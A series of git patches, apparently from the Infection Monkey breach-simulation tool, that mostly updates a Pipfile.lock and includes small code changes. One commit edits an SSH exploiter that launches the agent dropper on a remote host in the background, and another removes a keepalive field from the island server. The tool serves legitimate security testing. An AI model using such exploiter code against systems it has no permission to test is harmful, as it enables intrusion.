"a2c26a1bfe2edad7afb871930c32e2d91aae8353323f1042b172732d1f32564c" + "sha256": "10da1cee29199da444d44186a3144b7802c8703514e0192552f02e46fe8f35ef" }, "pipfile-spec": 6, "requires": { @@ -41,10 +41,10 @@ }, "asn1crypto": { "hashes": [ - "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", - "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" + "sha256:13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c", + "sha256:db4e40728b728508912cbb3d44f19ce188f218e9eba635821bb4b68564f8fd67" ], - "version": "==1.4.0" + "version": "==1.5.1" }, "asysocks": { "hashes": [ @@ -165,11 +165,11 @@ }, "click": { "hashes": [ - "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", - "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" + "sha256:6a7a62563bbfabfda3a38f3023a1db4a35978c0abd76f6c9605ecd6554d6d9b1", + "sha256:8458d7b1287c5fb128c90e23381cf99dcde74beaf6c7ff6384ce84d6fe090adb" ], "markers": "python_version >= '3.6'", - "version": "==8.0.3" + "version": "==8.0.4" }, "colorama": { "hashes": [ @@ -188,36 +188,37 @@ }, "cryptography": { "hashes": [ - "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", - "sha256:06826e7f72d1770e186e9c90e76b4f84d90cdb917b47ff88d8dc59a7b10e2b1e", - "sha256:08b753df3672b7066e74376f42ce8fc4683e4fd1358d34c80f502e939ee944d2", - "sha256:2cd29bd1911782baaee890544c653bb03ec7d95ebeb144d714b0f5c33deb55c7", - "sha256:31e5637e9036d966824edaa91bf0aa39dc6f525a1c599f39fd5c50340264e079", - "sha256:42fad67d7072216a49e34f923d8cbda9edacbf6633b19a79655e88a1b4857063", - "sha256:4946b67235b9d2ea7d31307be9d5ad5959d6c4a8f98f900157b47abddf698401", - "sha256:522fdb2809603ee97a4d0ef2f8d617bc791eb483313ba307cb9c0a773e5e5695", - "sha256:6f841c7272645dd7c65b07b7108adfa8af0aaea57f27b7f59e01d41f75444c85", - "sha256:7d335e35306af5b9bc0560ca39f740dfc8def72749645e193dd35be11fb323b3", - "sha256:8504661ffe324837f5c4607347eeee4cf0fcad689163c6e9c8d3b18cf1f4a4ad", - "sha256:9260b201ce584d7825d900c88700aa0bd6b40d4ebac7b213857bd2babee9dbca", - "sha256:9a30384cc402eac099210ab9b8801b2ae21e591831253883decdb4513b77a3cd", - "sha256:9e29af877c29338f0cab5f049ccc8bd3ead289a557f144376c4fbc7d1b98914f", - "sha256:ab50da871bc109b2d9389259aac269dd1b7c7413ee02d06fe4e486ed26882159", - "sha256:b13c80b877e73bcb6f012813c6f4a9334fcf4b0e96681c5a15dac578f2eedfa0", - "sha256:bfe66b577a7118e05b04141f0f1ed0959552d45672aa7ecb3d91e319d846001e", - "sha256:e091bd424567efa4b9d94287a952597c05d22155a13716bf5f9f746b9dc906d3", - "sha256:fa2b38c8519c5a3aa6e2b4e1cf1a549b54acda6adb25397ff542068e73d1ed00" + "sha256:0a3bf09bb0b7a2c93ce7b98cb107e9170a90c51a0162a20af1c61c765b90e60b", + "sha256:1f64a62b3b75e4005df19d3b5235abd43fa6358d5516cfc43d87aeba8d08dd51", + "sha256:32db5cc49c73f39aac27574522cecd0a4bb7384e71198bc65a0d23f901e89bb7", + "sha256:4881d09298cd0b669bb15b9cfe6166f16fc1277b4ed0d04a22f3d6430cb30f1d", + "sha256:4e2dddd38a5ba733be6a025a1475a9f45e4e41139d1321f412c6b360b19070b6", + "sha256:53e0285b49fd0ab6e604f4c5d9c5ddd98de77018542e88366923f152dbeb3c29", + "sha256:70f8f4f7bb2ac9f340655cbac89d68c527af5bb4387522a8413e841e3e6628c9", + "sha256:7b2d54e787a884ffc6e187262823b6feb06c338084bbe80d45166a1cb1c6c5bf", + "sha256:7be666cc4599b415f320839e36367b273db8501127b38316f3b9f22f17a0b815", + "sha256:8241cac0aae90b82d6b5c443b853723bcc66963970c67e56e71a2609dc4b5eaf", + "sha256:82740818f2f240a5da8dfb8943b360e4f24022b093207160c77cadade47d7c85", + "sha256:8897b7b7ec077c819187a123174b645eb680c13df68354ed99f9b40a50898f77", + "sha256:c2c5250ff0d36fd58550252f54915776940e4e866f38f3a7866d92b32a654b86", + "sha256:ca9f686517ec2c4a4ce930207f75c00bf03d94e5063cbc00a1dc42531511b7eb", + "sha256:d2b3d199647468d410994dbeb8cec5816fb74feb9368aedf300af709ef507e3e", + "sha256:da73d095f8590ad437cd5e9faf6628a218aa7c387e1fdf67b888b47ba56a17f0", + "sha256:e167b6b710c7f7bc54e67ef593f8731e1f45aa35f8a8a7b72d6e42ec76afd4b3", + "sha256:ea634401ca02367c1567f012317502ef3437522e2fc44a3ea1844de028fa4b84", + "sha256:ec6597aa85ce03f3e507566b8bcdf9da2227ec86c4266bd5e6ab4d9e0cc8dab2", + "sha256:f64b232348ee82f13aac22856515ce0195837f6968aeaa94a3d0353ea2ec06a6" ], - "index": "pypi", - "version": "==2.5" + "markers": "python_version >= '3.6'", + "version": "==36.0.2" }, "dnspython": { "hashes": [ - "sha256:081649da27ced5e75709a1ee542136eaba9842a0fe4c03da4fb0a3d3ed1f3c44", - "sha256:e79351e032d0b606b98d38a4b0e6e2275b31a5b85c873e587cc11b73aca026d6" + "sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e", + "sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f" ], - "markers": "python_version >= '3.6' and python_version < '4'", - "version": "==2.2.0" + "markers": "python_version >= '3.6' and python_version < '4.0'", + "version": "==2.2.1" }, "flask": { "hashes": [ @@ -258,11 +259,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:175f4ee440a0317f6e8d81b7f8d4869f93316170a65ad2b007d2929186c8052c", - "sha256:e0bc84ff355328a4adfc5240c4f211e0ab386f80aa640d1b11f0618a1d282094" + "sha256:1208431ca90a8cca1a6b8af391bb53c1a2db74e5d1cef6ddced95d4b2062edc6", + "sha256:ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539" ], "markers": "python_version < '3.8'", - "version": "==4.11.1" + "version": "==4.11.3" }, "incremental": { "hashes": [ @@ -281,11 +282,11 @@ }, "itsdangerous": { "hashes": [ - "sha256:29285842166554469a56d427addc0843914172343784cb909695fdbe90a3e129", - "sha256:d848fcb8bc7d507c4546b448574e8a44fc4ea2ba84ebf8d783290d53e81992f5" + "sha256:7b7d3023cd35d9cb0c1fd91392f8c95c6fa02c59bf8ad64b8849be3401b95afb", + "sha256:935642cd4b987cdbee7210080004033af76306757ff8b4c0a506a4b6e06f02cf" ], "markers": "python_version >= '3.7'", - "version": "==2.1.0" + "version": "==2.1.1" }, "jinja2": { "hashes": [ @@ -323,49 +324,49 @@ }, "markupsafe": { "hashes": [ - "sha256:023af8c54fe63530545f70dd2a2a7eed18d07a9a77b94e8bf1e2ff7f252db9a3", - "sha256:09c86c9643cceb1d87ca08cdc30160d1b7ab49a8a21564868921959bd16441b8", - "sha256:142119fb14a1ef6d758912b25c4e803c3ff66920635c44078666fe7cc3f8f759", - "sha256:1d1fb9b2eec3c9714dd936860850300b51dbaa37404209c8d4cb66547884b7ed", - "sha256:204730fd5fe2fe3b1e9ccadb2bd18ba8712b111dcabce185af0b3b5285a7c989", - "sha256:24c3be29abb6b34052fd26fc7a8e0a49b1ee9d282e3665e8ad09a0a68faee5b3", - "sha256:290b02bab3c9e216da57c1d11d2ba73a9f73a614bbdcc027d299a60cdfabb11a", - "sha256:3028252424c72b2602a323f70fbf50aa80a5d3aa616ea6add4ba21ae9cc9da4c", - "sha256:30c653fde75a6e5eb814d2a0a89378f83d1d3f502ab710904ee585c38888816c", - "sha256:3cace1837bc84e63b3fd2dfce37f08f8c18aeb81ef5cf6bb9b51f625cb4e6cd8", - "sha256:4056f752015dfa9828dce3140dbadd543b555afb3252507348c493def166d454", - "sha256:454ffc1cbb75227d15667c09f164a0099159da0c1f3d2636aa648f12675491ad", - "sha256:598b65d74615c021423bd45c2bc5e9b59539c875a9bdb7e5f2a6b92dfcfc268d", - "sha256:599941da468f2cf22bf90a84f6e2a65524e87be2fce844f96f2dd9a6c9d1e635", - "sha256:5ddea4c352a488b5e1069069f2f501006b1a4362cb906bee9a193ef1245a7a61", - "sha256:62c0285e91414f5c8f621a17b69fc0088394ccdaa961ef469e833dbff64bd5ea", - "sha256:679cbb78914ab212c49c67ba2c7396dc599a8479de51b9a87b174700abd9ea49", - "sha256:6e104c0c2b4cd765b4e83909cde7ec61a1e313f8a75775897db321450e928cce", - "sha256:736895a020e31b428b3382a7887bfea96102c529530299f426bf2e636aacec9e", - "sha256:75bb36f134883fdbe13d8e63b8675f5f12b80bb6627f7714c7d6c5becf22719f", - "sha256:7d2f5d97fcbd004c03df8d8fe2b973fe2b14e7bfeb2cfa012eaa8759ce9a762f", - "sha256:80beaf63ddfbc64a0452b841d8036ca0611e049650e20afcb882f5d3c266d65f", - "sha256:84ad5e29bf8bab3ad70fd707d3c05524862bddc54dc040982b0dbcff36481de7", - "sha256:8da5924cb1f9064589767b0f3fc39d03e3d0fb5aa29e0cb21d43106519bd624a", - "sha256:961eb86e5be7d0973789f30ebcf6caab60b844203f4396ece27310295a6082c7", - "sha256:96de1932237abe0a13ba68b63e94113678c379dca45afa040a17b6e1ad7ed076", - "sha256:a0a0abef2ca47b33fb615b491ce31b055ef2430de52c5b3fb19a4042dbc5cadb", - "sha256:b2a5a856019d2833c56a3dcac1b80fe795c95f401818ea963594b345929dffa7", - "sha256:b8811d48078d1cf2a6863dafb896e68406c5f513048451cd2ded0473133473c7", - "sha256:c532d5ab79be0199fa2658e24a02fce8542df196e60665dd322409a03db6a52c", - "sha256:d3b64c65328cb4cd252c94f83e66e3d7acf8891e60ebf588d7b493a55a1dbf26", - "sha256:d4e702eea4a2903441f2735799d217f4ac1b55f7d8ad96ab7d4e25417cb0827c", - "sha256:d5653619b3eb5cbd35bfba3c12d575db2a74d15e0e1c08bf1db788069d410ce8", - "sha256:d66624f04de4af8bbf1c7f21cc06649c1c69a7f84109179add573ce35e46d448", - "sha256:e67ec74fada3841b8c5f4c4f197bea916025cb9aa3fe5abf7d52b655d042f956", - "sha256:e6f7f3f41faffaea6596da86ecc2389672fa949bd035251eab26dc6697451d05", - "sha256:f02cf7221d5cd915d7fa58ab64f7ee6dd0f6cddbb48683debf5d04ae9b1c2cc1", - "sha256:f0eddfcabd6936558ec020130f932d479930581171368fd728efcfb6ef0dd357", - "sha256:fabbe18087c3d33c5824cb145ffca52eccd053061df1d79d4b66dafa5ad2a5ea", - "sha256:fc3150f85e2dbcf99e65238c842d1cfe69d3e7649b19864c1cc043213d9cd730" + "sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003", + "sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88", + "sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5", + "sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7", + "sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a", + "sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603", + "sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1", + "sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135", + "sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247", + "sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6", + "sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601", + "sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77", + "sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02", + "sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e", + "sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63", + "sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f", + "sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980", + "sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b", + "sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812", + "sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff", + "sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96", + "sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1", + "sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925", + "sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a", + "sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6", + "sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e", + "sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f", + "sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4", + "sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f", + "sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3", + "sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c", + "sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a", + "sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417", + "sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a", + "sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a", + "sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37", + "sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452", + "sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933", + "sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a", + "sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7" ], "markers": "python_version >= '3.7'", - "version": "==2.1.0" + "version": "==2.1.1" }, "minidump": { "hashes": [ @@ -377,11 +378,11 @@ }, "minikerberos": { "hashes": [ - "sha256:a1596916c93910910e65ab43e2b0e770c9af0d2da77505c089ed8bc3ee40e872", - "sha256:ca83d44f0a6c93cc2298df435c5173e99262d6d234b8055c7c08b9062c2c7c93" + "sha256:e5b9ae09b5f86baf6c3fd4a71e4078390ace1e616e7d44e57211e482eea20589", + "sha256:efccdb8ad3b2637ab80287bb423ab4e61fb7b1250e9e2e2a8edcbbd76d2cbc76" ], "markers": "python_version >= '3.6'", - "version": "==0.2.17" + "version": "==0.2.18" }, "msldap": { "hashes": [ @@ -443,11 +444,11 @@ }, "paramiko": { "hashes": [ - "sha256:04097dbd96871691cdb34c13db1883066b8a13a0df2afd4cb0a92221f51c2603", - "sha256:944a9e5dbdd413ab6c7951ea46b0ab40713235a9c4c5ca81cfe45c6f14fa677b" + "sha256:abf71533ea9332079db7cbcc039066c3d7575eed2df10766fa03496c3bf78cf1", + "sha256:ff47cc35dd4c4af507d2bdc9d7def9f7fa89977212b4f926e14ac486e930f03a" ], "index": "pypi", - "version": "==2.9.2" + "version": "==2.10.2" }, "passlib": { "hashes": [ @@ -460,7 +461,6 @@ "hashes": [ "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" ], - "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==2021.9.3" }, @@ -665,11 +665,11 @@ }, "pyopenssl": { "hashes": [ - "sha256:aeca66338f6de19d1aa46ed634c3b9ae519a64b458f8468aec688e7e3c20f200", - "sha256:c727930ad54b10fc157015014b666f2d8b41f70c0d03e83ab67624fd3dd5d1e6" + "sha256:660b1b1425aac4a1bea1d94168a85d99f0b3144c869dd4390d27629d0087f1bf", + "sha256:ea252b38c87425b64116f808355e8da644ef9b07e429398bfece610f893ee2e0" ], - "index": "pypi", - "version": "==19.0.0" + "markers": "python_version >= '3.6'", + "version": "==22.0.0" }, "pyparsing": { "hashes": [ @@ -681,11 +681,11 @@ }, "pypsrp": { "hashes": [ - "sha256:50d0dce9bf2cb852e3395029e40501ca1f5466ccc5c683c960ce527117676c20", - "sha256:84e8ee098c87858b0a8ba84deec674ebf3f286d3159cf3da9d6a4bfdd06bf3af" + "sha256:0101345ceb415896fed9b056e7b77d65312089ddc73c4286247ccf1859d4bc4d", + "sha256:f5500acd11dfe742d51b7fbb61321ba721038a300d67763dc52babe709db65e7" ], "index": "pypi", - "version": "==0.8.0" + "version": "==0.8.1" }, "pypykatz": { "hashes": [ @@ -704,47 +704,31 @@ }, "pyspnego": { "hashes": [ - "sha256:0516647486976ab152de64ea314cfb3e22ac7a8702a25aaf42f2f6385c6947ba", - "sha256:1c4710d95665e6501eaf60e78e243f0052bcba3692a8fc287b1fadcae7e674d9", - "sha256:2a461012fba2681d7acca50ae080566907c1fbcc8435f36eacca57c0e252fee8", - "sha256:37145548b1bd5dee54947737b133fed6826092920ee6465f35c911a01eb5aaa7", - "sha256:3b84f27aa43df45dcbad10b64f175de4d9c487c7d55aa85e4bebcc1700009f4c", - "sha256:4f82abd01a24979cfca1980bd24948dddb07a05b283a65af10e62051ef62c7dd", - "sha256:57984d673737a41a42acce03f392b40d8fc523c898512beefefd61a305501892", - "sha256:89905e90fb436ff5979827918a9f92425d4b7bec0d081aca573ec421786be006", - "sha256:b714f1a89c0f34572a8b30286e55f7c6332c135800d1a00188d319cb871bc398", - "sha256:c6e9c571489263fc7f995c1479960d8db71aef9f793919c282c1d3fc7416ad08", - "sha256:e7ae585feb22a42f643ba5d7426c5f235c12daced9c996607dbe094a835526ba", - "sha256:f6a96d270d5008580e8b5bd14f966660a1de9fe2600a55f14feba6534a4c435d" + "sha256:0d7b518585a3393c3152ca799d2c7b20684b37365176dca5d0672cdc22789271", + "sha256:504c462a8aff0f4d3210d6fdb037aabc926f84c32a3f31e0fded9a4e295899e2", + "sha256:5110372dd7a15cbab0c496103f31bc1147e152422efa70bb29dd3f984387cdbd", + "sha256:52689c4c9349543f451bb9eb94c35f12f114ef6ef0723b39c5b9845b715e01fd", + "sha256:5cd2574023077cc6a388c2b611bedbe66648d6fa2dad5806f075e43eaf438897", + "sha256:660d61461ab70c23bc1e97845fa02137df6e5007922a346a5eb32c1b081d8845", + "sha256:70a691c9cf9839081a451e80add049aca68cb237cd9146a689d84ae3b310103c", + "sha256:7c54d77c19fdbf67b4877dbb6f51d19168eed36f69c6b9072a739475ce174f38", + "sha256:b9360b9cea376d0431bd9803cecc7160e6f9abd1c4ca4f9c1f8cf40f49050ddb", + "sha256:b9fbbf09d6d6acb4aa7b8591b30f53cc66d5bf5f826094ab274b9585c43f7e43", + "sha256:cfa5f5de5a87f56cd8132955a3ad7cd6a6b9719f06401ca7660023df6404dcc3", + "sha256:d87a8ab7f286db6e07682c14f9fe2cdb10ccbbb67b1f65aaa298ba1fe66db894" ], "markers": "python_version >= '3.6'", - "version": "==0.4.0" + "version": "==0.5.0" }, "pywin32": { - "hashes": [ - "sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559", - "sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51", - "sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b", - "sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb", - "sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba", - "sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34", - "sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352", - "sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9", - "sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e", - "sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca", - "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", - "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" - ], - "index": "pypi", - "markers": "sys_platform == 'win32'", - "version": "==303" + "sys_platform": "== 'win32'", + "version": "*" }, "pywin32-ctypes": { "hashes": [ "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" ], - "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==0.2.0" }, @@ -765,11 +749,11 @@ }, "setuptools": { "hashes": [ - "sha256:2347b2b432c891a863acadca2da9ac101eae6169b1d3dfee2ec605ecd50dbfe5", - "sha256:e4f30b9f84e5ab3decf945113119649fec09c1fc3507c6ebffec75646c56e62b" + "sha256:6599055eeb23bfef457d5605d33a4d68804266e6cb430b0fb12417c5efeae36c", + "sha256:782ef48d58982ddb49920c11a0c5c9c0b02e7d7d1c2ad0aa44e1a1e133051c96" ], "markers": "python_version >= '3.7'", - "version": "==60.9.3" + "version": "==60.10.0" }, "six": { "hashes": [ @@ -781,40 +765,22 @@ }, "tqdm": { "hashes": [ - "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", - "sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d" + "sha256:1d9835ede8e394bb8c9dcbffbca02d717217113adc679236873eeaac5bc0b3cd", + "sha256:e643e071046f17139dea55b880dc9b33822ce21613b4a4f5ea57f202833dbc29" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==4.62.3" + "version": "==4.63.0" }, "twisted": { "extras": [ "tls" ], "hashes": [ - "sha256:b7971ec9805b0f80e1dcb1a3721d7bfad636d5f909de687430ce373979d67b61", - "sha256:ccd638110d9ccfdc003042aa3e1b6d6af272eaca45d36e083359560549e3e848" + "sha256:57f32b1f6838facb8c004c89467840367ad38e9e535f8252091345dba500b4f2", + "sha256:5c63c149eb6b8fe1e32a0215b1cef96fabdba04f705d8efb9174b1ccf5b49d49" ], "markers": "python_full_version >= '3.6.7'", - "version": "==22.1.0" - }, - "twisted-iocpsupport": { - "hashes": [ - "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", - "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", - "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", - "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", - "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", - "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", - "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", - "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", - "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", - "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", - "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", - "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" - ], - "markers": "platform_system == 'Windows'", - "version": "==1.0.2" + "version": "==22.2.0" }, "typing-extensions": { "hashes": [ @@ -875,7 +841,6 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], - "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, From d29990769b80fb1b922b1aed9f497f072a9b692c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Mar 2022 20:14:13 +0100 Subject: [PATCH 0768/1110] Agent: Use current_depth in SSH exploit --- monkey/infection_monkey/exploit/sshexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 0192ae3ed..17ae7f0f6 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -8,7 +8,6 @@ from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target @@ -189,7 +188,7 @@ class SSHExploiter(HostExploiter): try: cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline += build_monkey_commandline(self.host, self.current_depth - 1) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) From ed5e686b04c35db5167eb672f289aba0b2ee1c35 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 17 Mar 2022 14:14:51 +0530 Subject: [PATCH 0769/1110] Island: Remove `keepalive` Fixes #1783 --- monkey/monkey_island/cc/models/monkey.py | 1 - .../monkey_island/cc/resources/client_run.py | 1 - monkey/monkey_island/cc/resources/local_run.py | 1 - monkey/monkey_island/cc/resources/monkey.py | 10 ---------- monkey/monkey_island/cc/services/node.py | 18 +----------------- 5 files changed, 1 insertion(+), 30 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 3d941d512..74967878c 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -44,7 +44,6 @@ class Monkey(Document): ip_addresses = ListField(StringField()) networks = ListField() launch_time = FloatField() - keepalive = DateTimeField() modifytime = DateTimeField() # TODO make "parent" an embedded document, so this can be removed and the schema explained ( # and validated) verbosely. diff --git a/monkey/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py index 79a8c214b..4c2d02180 100644 --- a/monkey/monkey_island/cc/resources/client_run.py +++ b/monkey/monkey_island/cc/resources/client_run.py @@ -15,7 +15,6 @@ class ClientRun(flask_restful.Resource): monkey = NodeService.get_monkey_island_monkey() else: monkey = NodeService.get_monkey_by_ip(client_ip) - NodeService.update_dead_monkeys() if monkey is not None: is_monkey_running = not monkey["dead"] else: diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 49517dbdb..5645557da 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -12,7 +12,6 @@ from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService class LocalRun(flask_restful.Resource): @jwt_required def get(self): - NodeService.update_dead_monkeys() island_monkey = NodeService.get_monkey_island_monkey() if island_monkey is not None: is_monkey_running = not Monkey.get_single_monkey_by_id(island_monkey["_id"]).is_dead() diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 07e96a4b3..9e4cf47af 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -1,7 +1,6 @@ import json from datetime import datetime -import dateutil.parser import flask_restful from flask import request @@ -21,7 +20,6 @@ class Monkey(flask_restful.Resource): # Used by monkey. can't secure. def get(self, guid=None, config_format=None, **kw): - NodeService.update_dead_monkeys() # refresh monkeys status if not guid: guid = request.args.get("guid") @@ -45,10 +43,6 @@ class Monkey(flask_restful.Resource): monkey_json = json.loads(request.data) update = {"$set": {"modifytime": datetime.now()}} monkey = NodeService.get_monkey_by_guid(guid) - if "keepalive" in monkey_json: - update["$set"]["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) - else: - update["$set"]["keepalive"] = datetime.now() if "config" in monkey_json: update["$set"]["config"] = monkey_json["config"] if "config_error" in monkey_json: @@ -70,10 +64,6 @@ class Monkey(flask_restful.Resource): with agent_killing_mutex: monkey_json = json.loads(request.data) monkey_json["dead"] = False - if "keepalive" in monkey_json: - monkey_json["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) - else: - monkey_json["keepalive"] = datetime.now() monkey_json["modifytime"] = datetime.now() diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index a006d9d7f..688f67f92 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -1,5 +1,5 @@ import socket -from datetime import datetime, timedelta +from datetime 